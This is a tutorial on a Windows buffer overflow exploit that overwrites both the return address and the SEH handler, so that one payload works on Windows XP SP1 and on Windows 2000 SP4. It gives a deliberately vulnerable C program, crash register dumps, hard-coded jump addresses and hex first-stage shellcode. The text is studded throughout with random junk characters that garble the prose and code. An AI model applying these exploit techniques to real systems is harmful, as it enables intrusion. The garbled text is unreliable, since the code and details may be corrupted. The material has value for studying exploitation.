The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.! L c$ s" s) ~% Q0 S4 K
( q- P7 u, ?# s& y+ g5 W[Buf] <- Shellcode- K3 p9 z: I. ?5 A0 }. ?; d3 l2 p# K9 Y
[Return Address] <- jmp register (for Windows XP sp1) 6 p0 V1 q v' y/ a[Various Stack Data] <- Junk & h; O* x4 \+ W& T! o[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward# V! T3 c! M0 v( X% `" C
[SE Handler] <- jmp register (for Win2k sp4) 6 w7 `- y+ C7 h6 s' [3 A3 z[Stage1 Shellcode] <- stage1 shellcode for win2k8 n. `( m9 D: G6 w) W6 j
0 k/ d7 M9 \2 y( ~0 jIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses . b( _4 ~4 X/ B% `8 z5 _2 i/ O* C3 u* I$ k: e
Necessary Tools:: h2 ]# `/ K- V' }" E4 L
- OllyDBG# y; s; E0 [( U B& n3 W7 c) R3 \1 F
- C/C++ Compiler 7 H! F2 j4 L a- nasm $ o k# T% i+ j, P6 Z/ B2 A6 I- Sac) H: a5 W5 d4 o5 i" B. R
/ K/ ]2 Y! I* ?' c
Vulnerable Code: . M9 B" T4 U* H1 L C//lamebuf.c( G$ q) c6 F- u% a# t
#include<stdio.h> 8 @% Y$ @6 h' K2 c0 c% I) @8 s6 d#include<string.h> $ C0 s& D: D5 ^2 q, z- V#include<windows.h> # g0 K6 |% b4 l5 E9 Bint main(int argc,char *argv[]){6 B7 `" K: F5 G% f7 k
8 \( ?5 m q, L+ ^; B$ f
char buf[512];, y1 `: x* t3 [
char buf1[1024]; // <- simulate a stack! F4 \6 L" `. _, A& A; C1 q
//DebugBreak(); 1 x2 k2 M! o/ p- @6 P2 q+ xif (argc != 2){ return -1; } 1 s6 d p- q' K& a+ g- m6 n; Q$ Z: T6 \- r7 _, ~8 _* h' S
strcpy(buf,argv[1]); / V2 o( B, a0 H1 n s( greturn 0x0; r1 v4 C8 X* F: V
} & S1 b5 r$ c$ B( N5 l$ x5 i( q9 y5 {" Z& q
Getting Started: # H6 a% z' K9 F! r$ R. d) m0 v6 ZBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers: # T4 ^, [7 {. r5 o! ]# e- q ( h6 e# F; M2 X5 k6 o# }, _% YEAX 00000000! E8 F& e6 t' x9 \% @7 _
ECX 00321404' U/ T0 B6 y+ q- H1 w2 z
EDX 00414141' D! R- Q8 }9 x1 w
EBX 7FFDF000 ( T U# r! W1 ~9 w5 ~+ M) |1 D+ @* Q# jESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"6 o% p, ^1 J5 p! l8 w' Y
EBP 41414141# A8 G0 A( b( X0 k) Y% W) A
ESI 77D4595F 8 L- j: E9 W) L4 H+ sEDI 77F59037 ntdll.77F59037 2 N& A3 X. m0 `' M; `EIP 41414141! c0 M; \5 n9 a" u9 J
2 Q/ I! \3 h/ [5 d& uLets take a look at the stack and see what happened to the default exception handler:# G* R3 z2 F L8 W% d8 ^- [
0x0012FFB0 41414141 Pointer to next SEH Record 8 w5 e5 q4 p" s4 |7 r2 N& Y! a0x0012FFB4 41414141 SE Handler0 g5 s9 P# r8 f( v! A& @8 P
8 d( K5 \0 i% W1 C2 h$ e0 @" TWe successfully overwrote the return address and the default exception handler. c/ z' L* v e- C 8 U2 e, i& H7 }4 b" K) c/ tPrimary Return Address (Windows XP SP1 EN):8 X" G8 P4 \( z3 p
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:& X4 ^8 W( k* |* \$ E& o
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"8 `& B4 i2 [+ g" r
* x1 W; Q9 E7 c; y6 Y, S8 L1 f9 bSecondary Return Address (Windows 2000 SP4 EN):5 {) ?8 @! b$ ^: y2 R) w
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:; Q) \7 A% Y" o4 q4 a" f* l& C
"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"1 N& }4 Q- o0 t7 O! E2 N) g